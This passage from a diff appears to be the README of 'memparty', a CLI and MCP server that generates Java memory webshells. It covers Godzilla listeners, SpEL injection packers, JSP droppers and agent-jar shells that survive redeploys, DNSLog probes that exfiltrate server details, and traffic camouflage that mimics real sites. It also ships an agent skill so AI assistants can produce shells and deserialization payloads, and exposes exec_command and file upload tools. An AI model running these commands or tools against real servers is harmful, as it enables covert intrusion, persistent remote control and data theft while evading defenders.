+ # Spring SpEL injection -> define + load the shell class (Spring uses Interceptor, not Filter)
309
+ memparty gen -s SpringWebMvc -t Command -y Interceptor -p SpEL \
310
+ --command-param-name cmd --jdk java8
311
+ # OGNL (Struts2), EL, MVEL, Aviator, JEXL, JXPath, Groovy, Velocity, Freemarker, JinJava ...
312
+ # (SpEL/OGNL/JXPath are *aggregate* packers — they return several variants at once)
313
+ ```
314
+
315
+ ### 6. Drop a JSP file
316
+
317
+ ```bash
318
+ memparty gen -s Tomcat -t Godzilla -y Listener -p DefineClassJSP \
319
+ --godzilla-pass pass --godzilla-key key --jdk java8 -o shell.jsp
320
+ ```
321
+
322
+ ### 7. Java-agent memory shell (survives redeploys, hooks deep)
323
+
324
+ ```bash
325
+ memparty gen -s Tomcat -t Godzilla -y AgentFilterChain -p AgentJar \
326
+ --godzilla-pass pass --godzilla-key key --jdk java8 -o agent.jar
327
+ ```
328
+
329
+ ### 8. Fingerprint the target first (blind)
330
+
331
+ ```bash
332
+ # DNSLog: confirm code execution + exfil the server/JDK name via DNS
333
+ memparty probe -m DNSLog -c Server -p DefaultBase64 --host <your>.dnslog.cn
334
+ # Sleep: time-based blind — delays Ns only if the server matches your guess
335
+ memparty probe -m Sleep -c Server -p DefaultBase64 --sleep-server Tomcat --seconds 5
336
+ ```
337
+
338
+ The server name a probe reports is exactly the `-s` value to pass to `memparty gen`.
339
+
340
+ ### Parse a class name
341
+
342
+ ```bash
343
+ memparty parse-classname --file shell.class
344
+ memparty parse-classname <base64-of-class-bytes>
345
+ ```
346
+
347
+ ### Version
348
+
349
+ ```bash
350
+ memparty version # CLI version + backend server version
351
+ ```
352
+
353
+ ## MCP server
354
+
355
+ Run the CLI as an MCP server over stdio:
356
+
357
+ ```bash
358
+ memparty mcp --api http://127.0.0.1:8080
359
+ ```
360
+
361
+ Example Claude Code / Claude Desktop config:
362
+
363
+ ```json
364
+ {
365
+ "mcpServers": {
366
+ "memshell-party": {
367
+ "command": "npx",
368
+ "args": ["-y", "memshell-party-cli", "mcp"],
369
+ "env": { "MEMPARTY_API_URL": "http://127.0.0.1:8080" }
370
+ }
371
+ }
372
+ }
373
+ ```
374
+
375
+ Exposed tools: `list_servers`, `list_config`, `list_packers`, `list_command_configs`,
376
+ `generate_memshell`, `generate_probe`, `parse_classname`, `server_version`, `connect_test`,
377
+ `exec_command`, `download_file`, `upload_file`, `target_save`, `target_note`, `target_list`,
378
+ `target_remove`, `log_list`.
379
+
380
+ `generate_memshell` / `generate_probe` return the packed payload in `packResult`; pass the
381
+ optional `outputFile` argument to also write it to a local file (base64 auto-decoded for
382
+ `.class`/`.jar`/`.zip`/`.ser`/`.bin`), and the response gains an `outputFile` field with the
383
+ write result.
384
+
385
+ ## AI skill
386
+
387
+ The package ships `skills/memshell-party/SKILL.md` — a workflow guide for agents (server / tool /
388
+ type / packer decision tree, probe matrix, packer-by-scenario guidance, mimic site profiles, and
389
+ common gotchas such as Jakarta vs javax, JDK targeting, aggregate vs leaf packers).
390
+
391
+ Install with the built-in command (re-run after a CLI upgrade to refresh; restart the agent so it
392
+ picks the skill up):
393
+
394
+ ```bash
395
+ memparty skill install # ~/.agents/skills/memshell-party (default)
396
+ memparty skill install --claude # ~/.claude/skills/memshell-party (Claude Code)
397
+ memparty skill install --project # ./skills/memshell-party
398
+ memparty skill install --user --claude # both user + claude scopes
399
+ ```
400
+
401
+ Then ask in natural language, e.g. *"generate a Godzilla listener for Tomcat 10"* or
402
+ *"give me a CommonsBeanutils deserialization payload for a Spring Boot 2 app"* — the skill guides
403
+ the agent to enumerate options first and pick the right packer for the vector.
404
+
405
+ ## Site-mimicking (mimic)
406
+
407
+ Build a custom shell whose traffic blends into a real business site. Flow:
408
+
409
+ ```bash
410
+ memparty skill install # teach the agent the workflow
411
+ memparty profile init acme --site http://192.0.2.1:8080 # skeleton profile to hand-author
412
+ memparty custom build --profile acme --server Tomcat # -> injectable payload
413
+ memparty demo # local end-to-end walkthrough
414
+ ```
415
+
416
+ `profile` also has `list` / `show` / `check`. Details and camouflage options (body templates, JSON
417
+ request bodies, SSE cover streams, etc.) live in the skill.
418
+
419
+ ## Programmatic use
420
+
421
+ The package also ships a typed API client:
422
+
423
+ ```ts
424
+ import { MemPartyClient, buildMemShellRequest } from "memshell-party-cli";
425
+
426
+ const client = new MemPartyClient({ baseUrl: "http://127.0.0.1:8080" });
427
+ const res = await client.generateMemShell(
428
+ buildMemShellRequest({
429
+ server: "Tomcat",
430
+ shellTool: "Godzilla",
431
+ shellType: "Listener",
432
+ packer: "DefaultBase64",
433
+ godzillaPass: "pass",
434
+ godzillaKey: "key",
435
+ jdk: "java8",
436
+ }),
437
+ );
438
+ console.log(res.memShellResult.shellClassName, res.packResult);
439
+ ```
440
+
441
+ ## Development
442
+
443
+ ```bash
444
+ npm install
445
+ npm run build # tsup -> dist/
446
+ npm test # vitest
447
+ npm run typecheck # tsc --noEmit
448
+ ```
449
+
450
+ ## License
451
+
452
+ MIT